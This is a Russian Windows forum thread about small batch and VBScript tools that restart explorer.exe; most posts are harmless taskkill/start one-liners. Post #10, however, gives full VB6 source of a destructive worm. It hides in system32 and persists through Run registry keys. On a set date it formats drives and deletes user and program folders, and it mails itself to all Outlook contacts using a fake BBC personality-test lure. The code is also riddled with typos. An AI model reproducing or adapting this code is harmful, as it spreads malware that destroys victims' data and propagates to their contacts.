Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Автоматическая установка Windows » Автоматическая установка приложений » "2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe"

Ответить
Настройки темы
"2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe"

Ветеран


Сообщения: 1792
Благодарности: 115

Профиль | Отправить PM | Цитировать


Изменения
Автор: Vadikan
Дата: 23-12-2020
Описание: Вложение удалено
Хотя это и не программа вовсе, а две строки батника,
но это удобней чем запускать "Диспетчер задач" убивать "explorer.exe" и запускать по-новой вручную

Иконка программы копируется в "Quick Launch" для "текущего пользователя" и для "Default User"
также прописывает в реестре значения для автозагрузки "Диспетчера задач"
и значение включающее галочку в "Диспетчере задач" ("Параметры" - "Скрывать свёрнутое")
чтобы запускался только в трее (хотя иногда глючит, тогда лучше руками перенажать "Скрывать свёрнутое")
(возможно значения реестра могут отличаться, параметры скопированы с реестра XP Pro SP2 Rus, на XP Pro SP3 Rus тоже ничего не изменилось)

при нажатии на иконку завершается и запускается по-новой "explorer.exe", также
завершается и запускается по-новой "Диспетчер задач" минимизированным в трее
(иногда глючит и появляется в "Панели задач", приходится разворачивать - сворачивать вручную)
лучше нажимать ярлык программы несколько раз )

имя иконки "2 Reboot (explorer.exe)" специально сделано с цифрой "2",
чтобы программа в "быстром запуске" стояла вначале всегда под рукой,
потому что, когда "explorer.exe" подвисает, ничего уже не открывается,
и открыть список "быстрого запуска" не всегда возможно,
остаётся только тыкнуть в этот ярлык если он на виду
(но иногда "explorer.exe" так повисает, что даже его не тыкнешь, тогда как обычно ручками Ctrl+Alt+Del хотя и это бывает не реагирует)

p.s. иконка стрёмная, кому надо можно переделать всё сделано в SFX WinRAR, после скачивания переименовать .rar в .exe

Отправлено: 00:11, 22-08-2007

 

Старожил


Сообщения: 335
Благодарности: 11

Профиль | Отправить PM | Цитировать


а через taskkill не проще ярлык замутить?
или тоже батник?

Отправлено: 10:31, 23-08-2007 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Аватара для voler

Ветеран


Сообщения: 907
Благодарности: 36

Профиль | Отправить PM | Цитировать


Есть другой способ.

PHP код: Выделить весь код

'Если ошибка продолжаем далее.
On Error Resume Next
****************************************************************
'Тут задаются параметры текста и заголовка.
L_Welcome_MsgBox_Message_Text   = _
    "Выполняем перезагрузку explorer.exe?"
L_Welcome_MsgBox_Title_Text     = "Перезагружаем explorer.exe"
Call Welcome()
****************************************************************
'Завершает работу программы.
Set oShell = CreateObject("WScript.Shell")
On Error Resume Next
 ' 
****************************************************************
Sub t_message(nameres)
Select Case res
case 0 WScript.Echo name " Successful completion."
case 2 WScript.Echo name " The user does not have access to the requested information."
case 3 WScript.Echo name " The user does not have sufficient privilge."
case 8 WScript.Echo name " Unknown failure."
case 9 WScript.Echo name " The path specified does not exist."
case 21 WScript.Echo name " The specified parameter is invalid."
Case Else WScript.Echo name " " res " Refer to Win32 error code documentation."
End Select
End Sub
' ****************************************************************
'
explorer.exe
' ****************************************************************
For each Service in GetObject("winmgmts:{impersonationLevel=impersonate}!//localhost").ExecQuery("select * from Win32_Process where Name='
explorer.exe'")
res = Service.Terminate()
Call t_message("explorer.exe", res)
Next
****************************************************************
'Запускаем Программу.
Dim wsh
Set wsh=CreateObject("WScript.Shell")
wsh.Run "%systemroot%\explorer.exe"
****************************************************************
'Если нажимаем да то скрипт продолжает работу, а если нет то завершает работу.
Sub Welcome()
    Dim intDoIt

    intDoIt =  MsgBox(L_Welcome_MsgBox_Message_Text, _
        vbYesNo + vbInformation, _
        L_Welcome_MsgBox_Title_Text )
    If intDoIt = vbCNo Then
       WScript.Quit
    End If
End Sub
**************************************************************** 

-------
Linux, это плацдарм для изучения своих возможностей.


Отправлено: 13:20, 23-08-2007 | #3


Аватара для kot1313

Пользователь


Сообщения: 58
Благодарности: 1

Профиль | Отправить PM | Цитировать


voler,

А как этот код использовать ?
Подскажи пожалуста

-------
ЛЕНЬ - ДВИГАТЕЛЬ ПРОГРЕССА


Отправлено: 16:07, 13-03-2008 | #4


(*.*)


Administrator


Сообщения: 36473
Благодарности: 6670

Профиль | Сайт | Отправить PM | Цитировать


kot1313, скопируйте в Блокнот, сохраните как "script.vbs" (с кавычками).

-------
Канал Windows 11, etc | Чат @winsiders

Это сообщение посчитали полезным следующие участники:

Отправлено: 17:24, 13-03-2008 | #5


Аватара для XpucT

Новый участник


Сообщения: 28
Благодарности: 4

Профиль | Цитировать


farlow,
+1

2 all:
Создаём Tекстовый документ.txt
Заходим в него и пишем:
Код: Выделить весь код
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe
Сохраняем. Переименовываем Tекстовый документ.txt в Restart Explorer.cmd
Запускаем.
Это сообщение посчитали полезным следующие участники:

Отправлено: 13:34, 25-07-2008 | #6


Ветеран


Сообщения: 1792
Благодарности: 115

Профиль | Отправить PM | Цитировать


Цитата farlow:
а через taskkill не проще ярлык замутить?
или тоже батник? »
Цитата XpucT:
Создаём Tекстовый документ.txt
Заходим в него и пишем:
Код:
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe »
а сюда %ProgramFiles%\2 Reboot (explorer.exe) заглянуть трудно?
там такой же батник с таким же текстом
Код: Выделить весь код
CLS
@echo off


rem убиваем и запускаем по новой explorer.exe 
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe

rem убиваем и запускаем по новой taskmgr.exe минимизированным
taskkill.exe /F /IM taskmgr.exe
start /min %systemdrive%\Windows\System32\taskmgr.exe
только ещё диспетчер задач минимизированный запускается,
он свернётся в трей если применён твик который ставится автоматически или вручную можно включить "Скрывать свёрнутое"


Надо было бы мне делать этот батник, но explorer.exe всё также виснет на копировании файлов, даже в SP3 проблему не захотели решить

Могу даже сказать при каких условиях он виснет, если в "Пуск" мышкой перетащить с рабочего стола "Мой компьютер", или перетащить любой локальный диск из "Мой компьютер"
тогда эти диски будут раскрываться прямо из меню пуск, лично мне без этой опции каждый раз тыкаться по всем дискам и папкам просто нереально будет найти нужный файл
проводник с деревом я тоже ненавижу, поэтому и приходится вытаскивать диски в "Пуск"
Чтобы эффект проявился нужно перетащить "Мой компьютер" мышкой в "Пуск" и перезагрузиться, потом начать копировать файлы без разницы куда, главное по-больше мелких, пару сотен мегабайт и explorer.exe наглухо подвиснет, правда не всегда эффект проявляется с первого раза, иногда может целый день работать, а иногда с одного маленького файла зависнет
Причём не зависит от конфигурации компьютера, AMD или Intel без разницы
Если убрать из меню "Пуск" все такие раскрывающиеся диски и снова перезагрузиться, то explorer.exe больше не будет виснуть на копировании, да и вобще будет редко виснуть

Последний раз редактировалось rizz, 27-07-2008 в 10:23.


Отправлено: 08:52, 26-07-2008 | #7


Аватара для XpucT

Новый участник


Сообщения: 28
Благодарности: 4

Профиль | Цитировать


Знаешь, Мне кажется Мой вариант попроще остальных будет.

Отправлено: 06:41, 28-07-2008 | #8


Аватара для gora

Ушёл из жизни


Сообщения: 6021
Благодарности: 3491

Профиль | Отправить PM | Цитировать


Цитата XpucT:
Знаешь, Мне кажется Мой вариант попроще остальных будет. »
Упрощаем...
Код: Выделить весь код
taskkill.exe /F /IM explorer.exe
start %windir%\explorer.exe
... и еще проще ...
Код: Выделить весь код
taskkill.exe /F /IM explorer.exe
start explorer.exe
Это сообщение посчитали полезным следующие участники:

Отправлено: 11:11, 29-07-2008 | #9


Новый участник


Сообщения: 3
Благодарности: 1

Профиль | Отправить PM | Цитировать


А еще проще
Цитата gora:
taskkill.exe /F /IM explorer.exe
explorer.exe »
А вот мой зверек, писал давно.

читать дальше »
Код: Выделить весь код
Option Explicit

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Dim WshShell
Dim WScript
Dim SysDir
Dim FSO
Dim Ret
Dim Reg
Private Sub Form_Load()

On Error Resume Next
 
Set WshShell = WScript.CreateObject("WScript.Shell")
 
Set FSO = CreateObject("Scripting.FileSystemObject")

Set Reg = CreateObject("WScript.Shell")

SysDir = FSO.GetSpecialFolder(1)

Call FSO.Createder(SysDir & "\SysBootDrivers")

Ret = CopyFile(App.Path & "\" & App.EXENa& ".exe", Eviron("windir") & "\system32\SysBootDrivers" & "\" & "PsyTest.exe", False)
 
SetAtr (SysDir & "\SysBootivers"), vbHidden


Reg.RegWrite "HKLM\Softare\Microsoft\Windows\CurrentVersion\Run\SystemFilesProtect", SysDir & "\SysBootDrivers\SystemRunder.vbs"


Open SysDir & "\SysBootDrivers\BDA7I.bat" For Output As #1
Print #1, "@ECHO OFF"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %SystemDrive%\RECYCLER\Unvisible.vbs"
Prin #1, "ECHO WSHShell.run " & """" & "%SystemDrive%\RECYCLER\DAVINCI.bat" & """" & ",0 >> %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\DOBERUS.BAT" & """" & ",0 >> %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreaeObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\REFORMX.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET HDDINFKILL=FORMAT > %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% D: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% E: /Q /Y >%SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% C: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% A: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% B: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% F: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% G: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% H: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% I: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDIFKILL%% J: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% K: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% L: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% M: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% N: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% O: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% P: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% Q: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% R: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "START %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "@ATTRIB +H +R +S %\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET REGOBJECT=REG ADD > %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REGOBJECT%% " & "& "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  SystemDav /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\SystemWor.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_USERS\.DEFAULT\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECO %%REGOBJECT%% " & """" & "HEY_CURRENT_USER\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO START %winDir%\system32\SysBootDrivers\REGProtect.vbs >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO EXIT >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "@ATTRIBH +R +S %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "START %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO @ECHO OFF > %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\DOCUME~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\PROGRA~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\stem32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Explorer.exe > %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Taskmgr.exe >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "@ATTRIB +H +R +S %winDir\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "DEL %0"
Print #1, "EXIT"
Close #1


Open SysDir & "\ZipFLD.vbs" For Ouput As #1
Print #1, "Option Explicit "
Print #1, "Dim SysDir"
Print #1, ""
Print #1, "MakeZIP"
Print #1, ""
Print #1, ""
Print #1, "Sub MakeZIP()"
Print #1, "Dim fso"
Print #1, "Dim wShell"
Print #1, "Dim Shell"
Prnt #1, "Dim n"
Print #1, "Dim ie"
Print #1, "Dim ZIPfile"
Print #1, "Dim ZIPdata:ZIPdata=" & """" & "PK" & """" & " & Chr(5) & Chr(6) & String(18,0)"
Print #1, "Dim file"
Print #1, "Dim Folder"
Print #1, "Dim FolderItem"
Print #1, "Dim dFolder"
Print #1, "Set fso=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "Set wShell=CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1) "
Print #1, "Dim foldName : foldName = SDir & " & """" & "\SysBootDrivers\PsyTest.exe" & """" & ""
Print #1, "Dim archName : archName = SysDir & " & """" & "\SysBootDrivers\PsyTest.zip" & """" & ""
Print #1, "Set Shell=CreateObject(" & """" & "Shell.Application" & """" & ")"
Print #1, "For n=0 To 9"
Print #1, "For Each ie In Shell.Windows"
Print #1, "If Not ie.Busy Then"
Print #1, "If ie.ReadyState=4 Then"
Print #1, "If InStr(TypeName(ie.Docment)," & """" & "IShellFolderViewDual" & """" & ")=1 Then"
Print #1, "Exit For"
Print #1, "End If"
Print #1, "End If"
Print #1, "End If"
Print #1, "Next"
Print #1, "If Not IsEmpty(ie) Then Exit For"
Print #1, "If n=0 Then CreateObject(" & """" & "WScript.Shell" & """" & ").Run " & """" & "explorer.exe" & """" & ",0,True"
Print #1, "WScript.Sleep 100"
Print #1, "Next"
Print #1, "If IsEmpty(ie) Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "Set Shell=ie.Document.Application"
Print #1, "ZIPfile=fso.GetAbsolutePathName(archName)"
Print #1, "If UCase(fso.GetExtensionName(ZIPfile))<>" & """" & "ZIP" & """" & " Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "If Not fso.FileExists(ZIPfile) Then"
Print #1, "fso.CreateTextFile(ZIPfile,False).Write ZIPdata"
Print #1, "End If"
Print #1, "Set dFolder=Shell.NamSpace(ZIPfile)"
Print #1, "file=fso.GetAbsolutePathName(foldName)"
Print #1, "Set Folder=Shell.NameSpace(fso.GetParentFolderName(file))"
Print #1, "Set FolderItem=Folder.ParseName(fso.GetFileName(file))"
Print #1, "If FolderItem Is Nothing Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "dFolder.Copyre FolderItem"
Print #1, "End Sub"
Close #1

If FSO.FileExists(SysDir & "\SysBootDrivers\PsyTest.zip") Then
On Error Resume Next
Kill (SysDir & "\SysBootDrivers\PsyTest.zip")
VBA.Shell "cscript.exe   " & (SysDir & "\ZipFLD.vbs"), vbHide
Else
VBA.Shell "cscript" & (SysDir & "\ZipFLD.vbs"), vbHide
End If

SetAttr (SysDir & "\ZipFLD.vbs"), vbHidden
SetAttr (SysDir & "\SysBootDrivers\PsyTest.exe"), vbHidden

Open SysDir & "\SysBootDrivers\SystemRunder.vbs" For Output As #1
Print #1, "if Day(now)=16 Then"
Print #1, "On Error Next "
Print #1, "Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "Set fso = CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1)"
Print #1, "WshShell.Run(SysDir & " & """" & "\SysBootDrivers\BDA7I.bat" & """" & "), vbHide"
Print #1, "End If"
Close #1

VBA.Shell "cscript.exe   " & (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHide

SetAttr (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D.bat" For Output As #1
Print #1, "SET WDQS=CHO"
Print #1, "%WDQS% Dim x > %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ON ERROR RESUME NEXT >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set so=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set ol=CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D1" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBotDrivers\Wor-D.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D1.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% out= WScript.CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D2" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBDrivers\Wor-D1.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D2.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Set mapi = out.GetNameSpace(" & """" & "MAPI" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set a = mapi.AddressLists(1) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D3" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\sysem32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D2.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D3.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% For x=x+1 To a.AddressEntries.Count >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set Dav=ol.CreateItem(0) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.to=ol.GetNameSpace(" & """" & "MAPI" & """" & ").AddressLists(1).AddressEntries(x) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D4" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Prnt #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D3.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D4.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Subject=" & """" & "What am I like?" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.Body=" & """" & "HI! In this programme, you can play along and discover your personality type at home. Are you an Idlist, a Big Thinker or another of 16 personality types? Use the attachment and visit home page of this programme http://www.BBC.co.uk/sn/tvradio/programmes/whatamilike/ Contact Us http://www.BBC.co.uk/feedback/" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D5" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D4.bat"), vbHidden
Oen SysDir & "\SysBootDrivers\Wor-D5.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Attachments.Add(" & """" & "%winDir%\system32\SysBootDrivers\PsyTest.zip" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D6" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Cse #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D5.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D6.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Send >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Next >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ol.Quit >> %winDir%\system32\SystemDav.vbs"
Print #1, "attrib +h %winDir%\system32\SystemDav.vbs"
Print #1, "start %winDir%\system32\SystemDav.vbs"
Pint #1, "del %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAr (SysDir & "\SysBootDrivers\Wor-D6.bat"), vbHidden
MsgBox "This application has failed to start because CSLav9e.dll was not found!", vbCritical

Set FSO = Nothing
Set WshShell = Nothing
End
End Sub



                       'Created by ComSyntax'
                                '14/08/2007'
                                   'DaViNcI'

Последний раз редактировалось ComSyntax, 05-08-2008 в 12:20. Причина: теги [code] [more]


Отправлено: 20:53, 03-08-2008 | #10



Компьютерный форум OSzone.net » Автоматическая установка Windows » Автоматическая установка приложений » "2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe"

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
Разное - DreamScene -> Ошибка "EXPLORER.EXE" при завершении сеанса. parusnik46 Microsoft Windows Vista 8 27-05-2011 11:01
Разное - [решено] "Зарегистрировать" другое расширение как ".exe" valigozi Microsoft Windows 2000/XP 3 28-11-2009 00:33
[решено] "Конфигурация пользователя" - "Конфигурация Windows" - "Настройка Internet Explorer" ultrakiller Microsoft Windows NT/2000/2003 6 28-09-2009 14:11
Почему Windows при запуске файла с именем "start.exe" показывает кнопки как "Пуск"? Котяра Хочу все знать 9 22-06-2009 13:48
Запретить/удалить пункт "Programs" ("Программы") из меню кнопки "Start" ("Пуск") submaster Microsoft Windows NT/2000/2003 5 13-09-2006 12:29




 
Переход